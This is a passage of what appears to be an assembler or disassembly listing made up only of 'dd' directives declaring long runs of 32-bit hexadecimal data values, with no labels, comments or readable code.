55217F5Dh, 4AED6850h, 0A46AF731h, 806983FDh, 804C5535h dd 24C2C120h, 59F6F529h, 0A0ED6E87h, 8E65BF97h, 0AD2BE1BBh dd 0FB22770Ch, 0BD0136F8h, 0D0C37630h, 3A1F282Dh, 578E0B9Eh dd 0AAB2B93Eh, 75073F10h, 9E911A0h, 74B73970h, 3BE45060h dd 3F6270BCh, 395909D8h, 0BB4217ACh, 0D9F600F8h, 4505E180h dd 2CC3890Fh, 52330ABDh, 93BAD8FBh, 534C38F8h, 341F00B9h dd 866813DAh, 0E96AE173h, 0CFBB97D9h, 0C9FD2AFEh, 3AB96638h dd 5E26636Ch, 0C524CE52h, 0E2D1F71Ah, 950092AAh, 390A01EBh dd 58290925h, 5ADD17DCh, 0FE2F48Dh, 2D318B3Fh, 10A73AAEh dd 0BA2C65E9h, 1E998C31h, 4A5F91A5h, 138D61FFh, 5F5CA32Ah dd 500C1FCh, 0F7E7A68h, 9BBCF029h, 7DEE1900h, 18B4C981h dd 0C2078376h, 8E13FA72h, 84EE058Fh, 0EC1EEAFAh, 2751DAEDh dd 0CF52C649h, 4B8AF12Ah, 2F486812h, 21270EA3h, 30D1CD69h dd 84976F24h, 0FCBAAC66h, 56E9B046h, 8388B4C1h, 6A5B14DBh dd 0B9D4D9h, 4E76F180h, 0B62FBC20h, 0EDF34E3Eh, 86EE7513h dd 0F97E0C41h, 4033279Dh, 7C5159C7h, 860B1268h, 8478B972h dd 57099C77h, 0F7CF9B06h, 0B0E1614Fh, 5CC1DD29h, 2B57DF68h dd 0BF6A530h, 0B42A501Fh, 1A6F0526h, 0ACF4E955h, 5CF250BEh dd 0F8473240h, 0E2C05B38h, 0C556CFA3h, 7796EE4Dh, 0FCC52042h dd 2020587Dh, 45285B5Bh, 98C57DD2h, 0C76BB10Eh, 0F7AE5210h dd 0B5E7A92Eh, 52738CFAh, 0A25AE92Ch, 0D1E6DDA5h, 67B2BF1Fh dd 0F40E1F13h, 5E43D48h, 0DD229A09h, 11DB4212h, 855C67CBh dd 0E31FECE9h, 32480214h, 0D95770AEh, 22ED8F95h, 0F93C5825h dd 7C08415Ch, 12E07CCFh, 0B4E97C13h, 984FE3AFh, 717D3F52h dd 1CCF906Ah, 6E9582C5h, 25D4108Ch, 809A765Bh, 0AEC280F9h dd 0E969152Ch, 0EA86A7E2h, 7D402442h, 52707B56h, 6DE616BAh dd 1F6D097Bh, 0CDF62A8h, 0E745F110h, 882D0F09h, 0B9097402h dd 0EC037DFAh, 68E80310h, 0E9FD291Fh, 0E9D7BEB4h, 0FEC107B5h dd 672FFEC9h, 0DA66B73Ah, 23F58093h, 89735A1Fh, 0D0B5A4B8h dd 2034B39h, 0F3295F5Eh, 0A5DC095Dh, 0B3AF5DD1h, 87ACD65Ch dd 8C8FC3A1h, 50C44270h, 0CE70035h, 0DD0D47AAh, 141C282Ch dd 5F398A0Fh, 27A100ACh, 0D1130E50h, 0E188AEE7h, 21914DE9h dd 3229BE4Ah, 253F1261h, 0EEC4EAB8h, 4EA8FCAFh, 0C261B9A1h dd 2C178529h, 0D6B8E31Eh, 4FDC9BBEh, 5183136h, 33985F51h dd 0DAD8201h, 0FB951B58h, 0D1BE0040h, 0E949AD12h, 0F7C57F27h dd 71E81E19h, 70E33BA8h, 2C53FB5Eh, 0B1948707h, 83F089E2h dd 5B478576h, 9371EB20h, 8105D07Eh, 61D5795Fh, 2E0F2838h dd 0B6A406ECh, 3A686658h, 78591C1Bh, 5242B709h, 32967FE5h dd 4FA2925h, 6DEAD3h, 2A7068B8h, 0BB5314C9h, 340BBB74h dd 0EF80DBF7h, 1A613638h, 3E4F50BFh, 922E943h, 76D4EB4Fh dd 738C2D80h, 0D9794C07h, 88DC5E26h, 5205086Bh, 4BB15A5Bh dd 0E303466Bh, 0E6779156h, 77C91B2Eh, 53C1FFA5h, 3FAF425Eh dd 0DD59E149h, 79768ACh, 5D2EF9B9h, 40BE09A4h, 0F4627E75h dd 724E91Fh, 56F34A3h, 27FB7BC7h, 27F48AD9h, 0ACF24A18h dd 22E1D9F7h, 6DF904C2h, 0BCBF6B77h, 22161CD5h, 0EA9CDD2Dh dd 0D378E918h, 0AA1EE3Dh, 3169207Ah, 0E14C1680h, 17824505h dd 9752EAF5h, 241486EEh, 0D49DD8EAh, 0E05D7A1Ch, 0B5FEFA54h dd 8962D4D4h, 0EE54042Ch, 4E891A4h, 0C11F694Ch, 4400FFE6h dd 194E3439h, 93829729h, 0BDD411D4h, 71376380h, 0EEEAC14Ah dd 0B653FE42h, 7E35016Bh dd 3B384D5Eh, 0B93D41AAh, 7A29554Ch, 70094012h, 0CB40F707h dd 7825561Eh, 0DB407FA3h, 94CB459Fh, 5D48305Eh, 0F699551h dd 9057A55h, 8DF65A54h, 8E8B5089h, 146B885h, 4D94AAFh dd 3A4E65E0h, 0ABB4E3B8h, 50921A0Bh, 0B7BA1DB6h, 1CC822Ah dd 42565AD5h, 6C3B312Ch, 1E215835h, 0D209D934h, 6A3BE1A8h dd 0A938D201h, 0B12AA64Ch, 55A72A38h, 0ED52134Bh, 0C2FDD2CAh dd 2DBCE90Dh, 33D0F812h, 2F460D3Dh, 7F9E0B14h, 9452B06h dd 8B5E1EF8h, 403C564Ch, 90DD955Fh, 0BADAE904h, 0AC2AF9DCh dd 0C8BEB433h, 0C12F5D62h, 52A4F4FEh, 12C395C0h, 0E93D7A05h dd 89D19F0Fh, 0EE3916E3h, 1C8F2086h, 7F685002h, 0E5371F18h dd 782D8102h, 6007F25Fh, 0ED621305h, 4288651h, 87BAFC58h dd 0F58BCC8Ah, 768B8F45h, 4BB3102Fh, 2EA52534h, 0FDCD2BF7h dd 0E80A754Ch, 0E2072D7Ch, 93329D0Bh, 0D2FBECC5h, 0B16A56D2h dd 18B71A40h, 0E2AB16D3h, 8AAB4B53h, 48CB9707h, 5FA1615Bh dd 9480787Fh, 899E78AFh, 0D7C9611Fh, 63087C64h, 105896F8h dd 3B272643h, 1205CD12h, 6105A154h, 0CAFF8343h, 24AECBBDh dd 0A8BB40FDh, 97125AA9h, 15D9B6AEh, 12C9F061h, 9FE36ACEh dd 12C0C17h, 763594FBh, 0BD077E20h, 75D90244h, 0E2334818h dd 0C8B2FE5Ah, 23BB3B5h, 0A7D07B8h, 0B729C138h, 0BD5812D8h dd 0E9896DD6h, 546FE21Dh, 0F39A7B7Ah, 50374857h, 287CE270h dd 80063558h, 82DEE224h, 51DDD0D7h, 931FD78h, 3F0D5FAh dd 0DF0B0B9Dh, 8A0DE990h, 0D6873EA8h, 2DBE47F4h, 0C9465915h dd 24567652h, 0D9E704D6h, 4F4FEFEh, 0DDD44F14h, 53404281h dd 729FFE0Bh, 3DC96C75h, 0E3DA9168h, 0B1B2760h, 1723F56Ch dd 591665A5h, 6B269C0h, 700B5302h, 4A0F2911h, 58800A2Ch dd 0DBB17A2Dh, 0C3012F54h, 6861A6F9h, 0E73A1ABFh, 0F966CB7Ch dd 0C53217F3h, 1571BF49h, 5A03BF25h, 2B02CFB1h, 680948E9h dd 57593662h, 0A34E7B80h, 95E2C12Ah, 21DF4282h, 8791E901h dd 12CAF77Eh, 62BF5D5Ch, 425769A5h, 4CFC4EC0h, 611292D3h dd 5835C3h, 0F4542E3Fh, 0DA00B91Ch, 0F761B141h, 250F49D1h dd 7E54AE85h, 281DE181h, 8AF04355h, 0B8E74A46h, 4FA090FDh dd 0BFD216B2h, 74A87D85h, 9057582Ch, 3B5B3B27h, 0D210CC7Ah dd 1C7A3BBh, 6D90B951h, 9E702D54h, 0A17F16B7h, 0AF460347h dd 0FC03312h, 3FF58B87h, 0DFE175BCh, 0EFB32BBAh, 4825CC4Bh dd 0EF2F7541h, 0EC807603h, 0B944E1DFh, 68BCCC6Fh, 713EA72Dh dd 959ACC3h, 9A011756h, 20540E38h, 6D09EDD0h, 0F852B361h dd 6AF0ADh, 2949921Ah, 2AD3E9E8h, 80B25995h, 515AF030h dd 802E2EB1h, 832079C1h, 3C083EF3h, 0F322AD62h, 0DF097625h dd 5A24257Ah, 0B6601C37h, 0B7EE8073h, 620A5150h, 0F5E011E9h dd 3EC97B25h, 27CF281Fh, 56EECD5h, 0CC5561C3h, 83D4EB03h dd 2CF90812h, 95A2299Fh, 874CB016h, 5FD3CE2Fh, 126971A5h dd 31DFC1FEh, 42042AC3h, 2D00BD9Dh, 6B9E7975h, 89F36595h dd 65DCEB8Eh, 9782246Fh, 55DE1992h, 0F05874F4h, 62A39F22h dd 1B53B6Dh, 0D685375h, 0B3B23E1Dh, 2BE6EED2h, 7A5D7192h dd 6F92A1Fh, 0D8285A01h, 60A5045Bh, 1B65C7A6h, 1944B872h dd 1071CE3h, 80B27FDAh, 40478F66h, 835E18FEh, 24573D5Dh dd 0B0FA7D52h, 42B770ABh, 90F9F7D5h, 57E93CE7h, 6068C618h dd 0E87B3E62h, 0D3FE6954h, 2E5E3DFh, 12EFF74Dh, 0AE610663h dd 38B80C21h, 418940E5h, 710ED8F7h, 2560560Fh, 6E98C581h dd 2C44092Eh, 0F73C3F09h, 0E6499B44h, 0AF277D70h, 8B72511Fh dd 63EAF545h, 2F26FC5Dh, 7A09DE54h, 0E6BBE8C4h, 20F62723h dd 0C2CCABF5h, 580C041Bh, 0F14109C0h, 5FF1B05Fh, 0D08D8478h dd 0C0467365h, 8E9A2850h, 22EA7A4Ah, 0C6F62E72h, 0A539D525h dd 252869FEh, 27517652h, 82C655h, 0D02028B8h, 7230050Fh dd 0C121B62Eh, 0DF663D02h, 1EB6E03Ah, 6C75091Ah, 0C9F54CE9h dd 133B57CFh, 4BA0BFB4h, 0BBBC4D25h, 5A048548h, 0AE41EA68h dd 0E24450CCh, 0E9120888h, 310B2527h, 6FA859D9h, 0DAF107C9h dd 2D6E52CBh, 305CEF68h, 0E4B6E9E1h, 348EA474h, 0EA90BE52h dd 0C083AEBCh, 64CF03E2h, 0C517ABA2h, 0BDF0DFB0h, 2CA7DB63h dd 0E917AE10h, 0C6C86584h, 9AA7F256h, 77B904ECh, 0AA747343h dd 0CA5AE6A8h, 2FB557D3h, 108AF7C6h, 0FDD3096h, 2949B889h dd 88627E29h, 0F122410Bh, 8F5C0B96h, 0BB763283h, 8AAECE4Eh dd 0D8788472h, 0D920BFCh, 6E3DE632h, 0C25CE8FDh, 0DC61BFB4h dd 0EC3BFC44h, 4A89DEF1h, 8B98F513h, 578277E1h, 0F7729DFCh dd 7C80BC48h, 62AAB625h, 6231802Bh, 35595135h, 0FE326647h dd 0BDCA70B4h, 0F868E781h, 0C6312E08h, 0B600F526h, 882553B5h dd 244C5EF7h, 91BA64C3h, 7AF828F5h, 86683802h, 58C796Ah dd 0A8E4E9D1h, 460D009Ch, 0F792768h, 86222A82h, 0C5E831C1h dd 0C0B0C83h, 2FEEF255h, 0FBDEDA1Fh, 0EBFD1619h, 44C7B3Dh dd 5341805Bh, 34CB652h, 6092455Fh, 9BD6736h, 995B5F7Ch dd 29F68984h, 0B4D9ECBBh, 556ECA4h, 0AF02E968h, 4E01EA05h dd 0D420DF8Fh, 783C63EDh, 0E95B5416h, 43049207h, 0A0A95D65h dd 56573E9Ah, 0E7E90602h, 0F779FD24h, 28EADAEBh, 49A1FB7Dh dd 4A2E0202h, 655C0009h, 0F67DDE73h, 4F9561ACh, 4FEBA1Bh dd 7738EF8h, 59C94DA2h, 57889B01h, 8B82408h, 0C424A56Fh dd 73662802h, 0A0CDFC24h, 9592508h, 0FFF123C0h, 1F5B7F16h dd 0D25497EAh, 0F66629C0h, 0C6006590h, 0B8338456h, 23C21D9h dd 5F613539h, 1C02354h, 0F4656CE9h, 9D074BA6h, 77C43141h dd 9E107A14h, 77682D0Eh, 7EFE3889h, 1B8357C9h, 0E6EF2EABh dd 44F81101h, 5D710CA4h, 0C63152A0h, 0ADEFE5Eh, 0CB8DE85Ah dd 0B87CE119h, 5C9E4120h, 0D520020Ah, 2CFD3FA2h, 4003AE8Ch dd 392E0D3Dh, 3501E176h, 233B7C52h, 52A4D5FFh, 0CD2704F3h dd 0EA297E11h, 580149D8h, 4C018BD0h, 0F708AB23h, 44DC20DDh dd 80437F3Fh, 0B62DE0D1h, 97273A6Ch, 82491356h, 5899E9D9h dd 0C7812D8Fh, 0F66F36DFh, 67197C1h, 0C7D85569h, 610E7E4Fh dd 66712B68h, 954A9063h, 46EBC0DCh, 12C603EBh, 178411Ch dd 47784B4h, 9089E908h, 6EF480EBh, 55E1EDB0h, 0B3AB9Bh dd 2402A810h, 0B508A289h, 5A742F45h, 4397509Eh, 0F23B6BA1h dd 49ACD3A2h, 0CCBDE90Bh, 40858656h, 0DA000F86h, 0F3831454h dd 0BFDE5689h, 3E85BB07h, 0F901F78Ah, 0CA803646h, 0C64B61BEh dd 24863CE0h, 8064821h, 51015753h, 0C8885BB1h, 0BD2DC3E8h dd 97A83256h, 0D01EBE0Ah, 0FB03BB02h, 518B83Eh, 1B19EA18h dd 0E800FF01h, 52C23160h, 0C8559C29h, 3059170Ch, 0F29FE95Fh dd 0FCBA66C0h, 2E6FAD3Eh, 849E2C1h, 53000E0Ch, 8D4AA868h dd 96E9DF73h, 5DA443D1h, 0B3C05255h, 919DFEDCh, 906A57A3h dd 8F341A8Dh, 0CB814E00h, 72C81B47h, 0A8DB5EF7h, 4F415BBDh dd 419A39FAh, 160AA020h, 0A8BE6DC6h, 3082A4A6h, 2A22FF25h dd 3E796D4Ch, 0A001C188h, 99D8098Ah, 14DECF43h, 79D09889h dd 9D6988CCh, 5CB5614h, 45712B54h, 0F726DE82h, 0BE024067h dd 41A66456h, 0FFF9441Bh, 86F155C6h, 35ADE9C1h, 0CB08D06Fh dd 0C93E690Ah, 0F5882A5Dh, 0F553C1B7h, 0BD1115E4h, 0A568DE98h dd 5BD87F5Ch, 0A85E588Bh, 56A01039h, 7E2D116h, 9130E4Bh dd 1C604CDFh, 0DD56D589h dd 0AFF056EEh, 8DCA24D3h, 9909D716h, 8E3A0466h, 5029B7FFh dd 9395DF01h, 0EF81660h, 0AF52259Eh, 5C3534C0h, 0BA3C1AA9h dd 0E45F0B39h, 0C9B2B400h, 0C5E98D02h, 51590E78h, 5F59C94Dh dd 5D5AC4F9h, 5E4ABE78h, 0A262A0CAh, 5041098h, 47EDAB5h dd 9F91A98h, 257F8058h, 29B6F89h, 72A7350Ch, 25C32B74h dd 8EC8A2B8h, 42E0D14Eh, 8F20496Ah, 4CAEFD5Ah, 7EC44B50h dd 4B3847FEh, 536F68BDh, 61E9A3C0h, 0D9F6A9ABh, 7B88FBF0h dd 34E64ADAh, 62A2010Fh, 0F80EC529h, 1CDC48A1h, 0EA98FD2Fh dd 0EC4F8850h, 0D24179FCh, 75F6A32Bh, 0FEB64916h, 68EE60FFh dd 0B4023B8Bh, 92E95F1Fh, 8DBADEAEh, 7BF05770h, 8403DBCh dd 68591F5Ah, 617C2FE0h, 14D72958h, 35DB91E9h, 460E8C95h dd 3E19744Ah, 2EE90C21h, 432FCE7Dh, 26B94CC1h, 145AF057h dd 2DBF2FE1h, 9A32A09h, 205768C9h, 60055DF9h, 78D4121Dh dd 0EBB0BA2Dh, 80214BE9h, 7E3EBD56h, 0A2E1B2Fh, 8F059AF8h dd 8BAAA222h, 11EE10DEh, 5F4E89A2h, 0BC83979Ch, 42E6165h dd 27824D0Ch, 813DC56Fh, 203CE08Eh, 0CBA8E8AEh, 7D82C5FEh dd 26B8F3C5h, 5E0862D4h, 17E92513h, 94162AB7h, 34F2AABh dd 0FB0F462Dh, 2C61F028h, 0E1175A88h, 0CA070765h, 9802411h dd 98D7FD19h, 0AA5067FFh, 9CB10296h, 0E87E7745h, 0DC15A10Bh dd 1EE90BD4h, 0E62514DEh, 275C7C6Ah, 3975D0F6h, 0EA651A2Ch dd 8871A32Ah, 0CDE00814h, 4966804h, 8251DABBh, 77518D68h dd 3F855199h, 0B4C525D1h, 83C3717Eh, 730B3FEEh, 81A7297Bh dd 51EA0108h, 0B53C48EDh, 2469EF4Eh, 96258938h, 0EEB58DF0h dd 717E974Fh, 0E9F18638h, 4261970h, 8D12F3BFh, 9AA4EF34h dd 5860B055h, 51C25A82h, 255F189h, 75015E59h, 0C5FF2D09h dd 0E2E9046Bh, 0F2F3BEF1h, 7C7C51CBh, 9F64DE58h, 96BD89FBh dd 96B4CA0Dh, 6420177Dh, 4E536001h, 575F8E0Fh, 0E9965C80h dd 32FB6FC6h, 66C33122h, 9A0B9077h, 0B873D213h, 218C10CEh dd 8AD4B24h, 5FAD3AFDh, 0F3140398h, 51D84082h, 685580F7h dd 0B844212Ch, 20B2DC0h, 0E681006Dh, 7CB1D97h, 0F25308E9h dd 0FB0104A2h, 0CDFB1868h, 7C67E090h, 146E5C9Eh, 0D3E084A4h dd 0BB4A3214h, 0E91688CBh, 8B28AAF5h, 327F4E4Ch, 1254FE9Ch dd 4D075F25h, 0BF8DA441h, 18FC3317h, 0D841D2ACh, 3AE9E16Eh dd 6F522DEEh, 4F364B2Ch, 7B7F3A0h, 6C6245D7h, 0F2B9C7D2h dd 617A9F32h, 0A65EFD90h, 0C11B62B7h, 724A2B75h, 124CC5ABh dd 0C5DFBF53h, 97FE8550h, 0CA5D92EAh, 0B60941F1h, 51645902h dd 72BD57F4h, 0B2F83443h, 9BE9BF34h, 46D5CE1Ah, 7232F45Dh dd 0E115657h, 0AB170AB3h, 9F134298h, 2D609A6Ah, 0B28683Dh dd 440AB15h, 2D057AB3h, 78515B84h, 0E4C08C80h, 5FC48008h dd 0D229AAFFh, 76E97F1Ch, 0DAD9B718h, 9071B42h, 60D68C62h dd 9F79DD72h, 0C3F17C52h, 5A607A78h, 0D25F6D28h, 0B8D9806h dd 14566483h, 0BF0D5280h, 7A029D31h, 7E683225h, 0ED394063h dd 67F02037h, 3C765A60h, 763F0760h, 852D029h, 0AF71D14Bh dd 85F32F23h, 48C1680Dh, 7C6F9E1h, 13F94EA5h, 9CDA9B2Ah dd 505301DAh, 0E151A7B4h, 0E9EFE8E5h, 5E81902Fh, 61EE60C2h dd 0E89D27D5h, 7E23F46Ch, 4B5B9792h, 14F10CA0h, 0D1BF1C13h dd 2F4DF80Bh, 0E1FF93DDh, 189568E1h, 2577B7ADh, 0AAFE2914h dd 20E1DD5Ah, 0E9095051h, 5B9DF312h, 0C4BBA6DEh, 0FCE96002h dd 6630C180h, 0D0069A25h, 0EA48782Dh, 0E9C70520h, 33916231h dd 0FD2A5BDAh, 0EB8750F1h, 0FFE2925Eh, 2A52EF80h, 0C6B808D5h dd 4226FA0Bh, 0A098DE7Ch, 0F7F08008h, 4C9A2554h, 0F4F9A1FDh dd 68933315h, 5F2DF07Bh, 50765669h, 4EFBE8Dh, 0E3706968h dd 0B13118BEh, 4A3BA2Eh, 947282Fh, 0AD61EAD1h, 0AE04B47Eh dd 0EC97FBB2h, 565F2758h, 0E0D14126h, 257D7083h, 462519ECh dd 3A80774h, 0C19D02E2h, 0BA067961h, 3D69703Eh, 625BAD43h dd 0DFC5559h, 0FF59539Ah, 38BAADD3h, 905F13BBh, 24113904h dd 7C3C10Fh, 4ED1FB87h, 159D3F0Bh, 1D132051h, 147B36Fh dd 54896A93h, 45267C29h, 0F35F0C40h, 0DD24085h, 0B4B20B0Eh dd 48945550h, 42815164h, 13241A7Bh, 0B3EB8CEh, 1D3D07A0h dd 56098805h, 89D1EABDh, 660162F5h, 69138931h, 6093E0B0h dd 10D1833Dh, 58268743h, 4684D908h, 0F74E36FCh, 0D4A9C9A4h dd 96D727CCh, 0BCE916E7h, 0CBB5EC40h, 7D9BD5FBh, 5220179Eh dd 0E42D07F0h, 331D1405h, 75927B48h, 7833350h, 0FB1152FDh dd 0EF61E4A5h, 4A505763h, 2A1F4164h, 0C195CD04h, 6B61AA12h dd 68005378h, 0C5073B61h, 0DFF75F73h, 45CF49D2h, 9551259Eh dd 0BB2D5A52h, 0F0E984A7h, 548F981h, 0CB87D1F7h, 5CD05882h dd 0C54FBC80h, 0F864814Eh, 8F73AAFh, 4D71373h, 52FDCCFBh dd 0E913B604h, 44AE1FADh, 0BEB03D66h, 1D373B2h, 38E5507Dh dd 62EB3B28h, 6A7D2D4Dh, 0E6565E3Ch, 801EA2FFh, 0A80B34E5h dd 0A314E411h, 5B0B3CD6h, 7942DA9Eh, 25BBCDBh, 7589B1F2h dd 25A07637h, 0B5B0B4D7h, 0F64B1579h, 0CDF75ABDh, 0C8010571h dd 0E9C54F59h, 46474ED3h, 0ABE685C5h, 0A96ECE44h, 2792CBFAh dd 8A91817Eh, 129752C2h, 2FE8F15Ch, 8BA462BEh, 0C55BB078h dd 0AAD34DA2h, 0F2E9AC02h, 24F1D1E3h, 44B3081Dh, 66C573Bh dd 0E47F55B9h, 0C9B820BAh, 9F27C995h, 0BA15007Eh, 285347BDh dd 560B0990h, 0F5C080D6h, 7539ACC1h, 8EF82B0Dh, 1E4588A5h dd 0FD15E909h, 0B70D1CFEh, 1E804C7Ch, 2969D9DEh, 202790E9h dd 682D30DDh, 0A24E30B7h, 0FB1C4A2Ch, 1FE69CD0h, 79F73919h dd 1570D625h, 2B68561Dh, 8BAE4B38h, 0E305E2Fh, 40D6E957h dd 0E8B55DABh, 825678F1h, 0D17913D5h, 8F6A52B2h, 38BE4B0Ah dd 1C256875h, 556981Dh, 2A5B81CFh, 0F7C3C763h, 7C8706Bh dd 885B762Ch, 0B50AA2C5h, 2F7427CAh, 0CC75DB02h, 2D06082Ah dd 900ACA78h, 0AB77A405h, 0E39DE986h, 0D43FF3B1h, 17ED82Fh dd 0BE56D901h, 30982FEFh, 1835E930h, 0C749E34h, 2258B4C0h dd 0F15234F7h, 84BCBCAAh, 99AAAEFEh, 0C243FDD9h, 52647657h dd 4668E540h, 2DE93240h, 6B52F6F3h, 0FEEB4A13h, 30F4C9AEh dd 0E0EBFC3h, 2B414626h, 0AD38181h, 8ED50F2Ch, 0BEA1123Eh dd 0AB4F578Ah, 4D7DE498h, 0F33C1B9Ah, 126B34Ah, 0D0F7585Eh dd 93FB3196h, 0E90812DEh, 7F73B1F6h, 7385BF2Dh, 0BB61E4E9h dd 0E628F588h, 35527C66h, 0BCCAD4BEh, 567C7ABFh, 9C58ECF4h dd 3FF13E81h, 2C212E5Eh, 55479F3Fh, 5C9BD07h, 71EE07D9h dd 3FF50AECh, 0E4503A67h, 1813C007h, 0CE19E960h, 0BA40B59Eh dd 4CAF6C23h, 0CF057B3Fh, 0EF10D21Ah, 2FD4704h, 0AADEFA12h dd 15208C4Ch, 0D134879Fh, 1929639h, 0AB543CB8h, 2416E951h dd 0D5975860h, 4690E51Ch, 0EA6E6F20h, 42E29707h, 2569DD5Eh dd 19942F98h, 1C92A7EFh, 31203C38h, 1D49B30Ch, 0BF226BA6h dd 6CFFCABCh, 29649D83h, 6B352851h, 9F2550A4h, 4F5DAB89h dd 303F2469h, 6BEC6815h, 5D2F2925h, 40172344h, 2322FEEDh dd 8D595E30h, 0D418ABFCh, 7FE93270h, 49DF4AA9h, 5CC80E94h dd 4303371Ch, 8E0F4615h, 0F3FFB49Eh, 0D931C662h, 0D8C60539h dd 0EABA7A94h, 0D629B030h, 99B905Ah, 554F0205h, 1200A856h dd 3134E99Eh, 3D597ECEh, 443D0DF8h, 0D368BF27h, 31FAD2E1h dd 1991303Eh, 0C3198A74h dd 195F42Fh, 575EF5EDh, 0C8F749C4h, 3F5A1EC2h, 6B71B0Bh dd 0BDF229F5h, 4181114Ah, 484DAF6h, 0BB1EF280h, 0B5C5A1FCh dd 81F08468h, 0DB0FCDB2h, 4B87F894h, 6AF192FFh, 0F60A76FCh dd 0D10A95DDh, 0E9090807h, 0BF58504Fh, 492FDCh, 0FE17A685h dd 0E581022Dh, 58E36892h, 82625E5Dh, 63BC6E11h, 85C9AC40h dd 508CEF27h, 4518BE17h, 0DAE00058h, 816E152Ah, 0B44EB1Fh dd 410863D3h, 0CABA3DC9h, 6A097A87h, 9DC2704Ah, 2EE3102Eh dd 0CA4E32B2h, 7E0905C3h, 13FB711Fh, 2A8CF162h, 0BA67AFEh dd 224901E9h, 85D1A96h, 685027C0h, 15DE5B5h, 8FE155BAh dd 0BAF2EADh, 4A5AC490h, 4662857Bh, 9950A57h, 6C9982DDh dd 442DA9h, 5CD66A9Dh, 0EE298004h, 95BBD5E9h, 0BF9613AAh dd 683DFA8Bh, 1EDE73C8h, 727EEF23h, 0DFC28562h, 0E783C0A2h dd 57428C7Eh, 7058DD52h, 8E53B721h, 7A25CD81h, 505EE0F1h dd 801EB801h, 0C529FA0Eh, 0F42F013Dh, 61025689h, 3305C002h dd 0D5E846AFh, 0CD20F72Dh, 72CB075h, 10EC2250h, 0E418720Fh dd 9FE5977h, 8E5C9CE9h, 98385913h, 0DD0A0363h, 0EF1FE945h dd 3DEA5338h, 95103D12h, 4FA87391h, 0EC3FE8A1h, 0C2EC51DDh dd 0C2B41957h, 2BA8FEFDh, 0FC125BDDh, 0C26FA763h, 0C187F87Bh dd 2292B2A8h, 8A08A05Ah, 7F313440h, 0E04325F7h, 0A0120F66h dd 0B6FAFEA9h, 68682D7Ch, 7DCEFECh, 106F62Ch, 8548EC7h dd 4F25334Eh, 0EBFF1A0Fh, 72096B9Ah, 136C1D01h, 31299EDBh dd 9DD5AB6Eh, 12D3C87Fh, 0EB885580h, 0CC681259h, 155F4435h dd 0B3A2AF10h, 985D5CC9h, 62A2688Fh, 2323574h, 34CA750Bh dd 75116A5Dh, 0E8BF54DAh, 82C5ADB1h, 27C2507Dh, 3271E83Eh dd 7F095B12h, 2D086506h, 4611A2DDh, 84000997h, 12390258h dd 385A99F6h, 5D653ECh, 8988BA0Bh, 0EC92C98h, 5E7D7A3Fh dd 75044410h, 0BB6A2E5Bh, 0E52192F1h, 4C290A01h, 985908E8h dd 0F71D826Ch, 0E932D3C4h, 0FD5A7504h, 12658E89h, 17100724h dd 0AF30944Bh, 82E24751h, 0F7220A68h, 0F7A74A45h, 31AE0682h dd 42827157h, 1DDEDBF6h, 17F2662h, 3A51C888h, 9BB0A0C5h dd 0BEDC401Eh, 1C2E7F09h, 5AD8007Eh, 414B3Dh, 5954EB0Dh dd 907D0509h, 0E97925FAh, 0D6B5B79Ah, 0BF52E592h, 0AE2B757Dh dd 0B97D853h, 62AD2B66h, 39492CBh, 0C146801h, 0E773F7C2h dd 0E0B5E989h, 1E440C88h, 6488830Fh, 8040F17h, 0A2FB4BE5h dd 79BE01D8h, 31B14D05h, 1853A97Ah, 0BA249021h, 145B702Ch dd 9DD2F778h, 0C478BC4Fh, 12AE0768h, 272EEB4Bh, 0E8BADA61h dd 7042F149h, 9B91D1B5h, 710FD727h, 0D5160DA5h, 680F0313h dd 0D9276A73h, 0B72650D9h, 20F32FD4h, 9F90385Ah, 109944D1h dd 7BDF1B9Fh, 0F2CE75BEh, 0EF92DFD5h, 0E0C0E945h, 18029B04h dd 2F02010Bh, 4009E540h, 96EE35BEh, 4D7DC22Dh, 48C5DD1Ah dd 0E8B59044h, 0ED54C861h, 9A91F2BEh, 68B0DD08h, 30C3A718h dd 0C32FC580h, 8AB924ECh, 0C4024695h, 0A356098h, 0E3BB676Ah dd 0E32FC50Dh, 0F8B97A89h, 6196F7A4h, 7E210368h, 8C9F00B3h dd 5ED16DF6h, 133B4341h, 347EE6B5h, 81FB87ADh, 0B8EB89FFh dd 69DA74F6h, 0DDC38750h, 0E3D4EC27h, 95284DF0h, 0F16A937Ch dd 0E619E70Bh, 91EA4C24h, 5CE9CD05h, 1214BD3Bh, 8AB2F2D3h dd 99703F89h, 77FD2C2Fh, 0CBBE3014h, 2E138D96h, 2D40B7EBh dd 20D0E4AFh, 8700A655h, 0D2F681EEh, 0EC32E26Bh, 663412CEh dd 1A01FED8h, 270A6C93h, 0A01A93Fh, 885A6AE9h, 7E1298A6h dd 384ED1BCh, 3427E9FCh, 92FE4B7Fh, 1C806C67h, 8E6D4833h dd 0E3B5D6E9h, 13BBF95Ah, 71FEA446h, 31E78ABAh, 45ED60F6h dd 23ED775Eh, 13171A9Dh, 688081DFh, 0A0236DFCh, 748B987Ch dd 0C6813B30h, 0DAC94FBCh, 502D017Dh, 31685A7Eh, 0C571780Ch dd 4488DEFAh, 0C83013F0h, 0ECF10D05h, 0D123E0Dh, 23D28C00h dd 904D0FDDh, 0BFC2881Ah, 4A6576B5h, 1801F826h, 0B918F451h dd 0CB5728A3h, 7DC425F7h, 0AC535C56h, 0A58044h, 7A0997B8h dd 4A5AF47Bh, 0D363F486h, 5FA20995h, 65692566h, 541C7537h dd 365800E9h, 0F2CAB708h, 604FF955h, 2EDBBF57h, 4C418648h dd 72245E8Dh, 0D8EA0FD4h, 0A7487AFCh, 2A12DE3Eh, 0D4BD7280h dd 12512F58h, 8902BBF6h, 5D651B31h, 2D88EBCBh, 0F6970663h dd 0AA321624h, 858D98h, 812C8274h, 0ED271ECBh, 0D3F7281Ah dd 81805710h, 7C8B0F50h, 0E657325Eh, 0AD597A07h, 3F301C98h dd 0A7D99D7Fh, 6B95540h, 80174F4Ch, 49422800h, 8C0F1609h dd 42895592h, 5A6EEC55h, 0AAC3C457h, 0AE1F6EF6h, 14BE23BAh dd 93CA0A8Fh, 0E9F6A4BFh, 0CACA693Dh, 174DC3C8h, 0AA7F912Ah dd 64E42042h, 0FB5EE0A5h, 0BC3C528Bh, 0DD319B4Ch, 0C9D1313Ah dd 87088ACAh, 8318BDAh, 56BD5E9h, 0A31B04DBh, 0CE0E784Ch dd 832CD028h, 0B972B151h, 0DFDA59C8h, 0C702BC85h, 5258602Ah dd 8005C2B2h, 25E9A1EAh, 0DB4E4DFCh, 0DD5E270Eh, 0F124D1Bh dd 7D5777E9h, 0C8EB1D16h, 6C76B52Eh, 0AE9235Ah, 0B9F50841h dd 0F353406Fh, 